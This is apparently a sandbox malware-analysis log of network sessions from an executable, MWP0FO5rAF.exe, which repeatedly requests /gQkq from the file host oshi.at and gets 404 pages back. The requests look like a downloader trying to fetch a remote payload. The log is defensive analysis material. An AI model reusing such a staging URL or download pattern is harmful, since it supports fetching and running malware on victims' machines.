                                                                2025-01-10 17:49:52 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                11192.168.2.949874194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:53 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:54 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:54 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:54 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                12192.168.2.949885194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:55 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:56 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:56 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:56 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                13192.168.2.949899194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:57 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:58 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:58 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:58 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                14192.168.2.949912194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:59 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:00 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:59 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:00 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                15192.168.2.949924194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:01 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:02 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:01 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:02 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                16192.168.2.949936194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:03 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:03 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:03 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:03 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                17192.168.2.949946194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:04 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:05 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:05 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:05 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                18192.168.2.949960194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:06 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:07 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:07 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:07 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                19192.168.2.949971194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:08 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:08 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:08 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:08 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                20192.168.2.949982194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:10 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:10 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:10 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:10 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                21192.168.2.949993194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:11 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:12 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:12 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:12 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                22192.168.2.949999194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:16 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:17 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:17 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:17 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                23192.168.2.950000194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:21 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:22 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:22 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:22 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                24192.168.2.950001194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:26 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:27 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:27 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:27 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


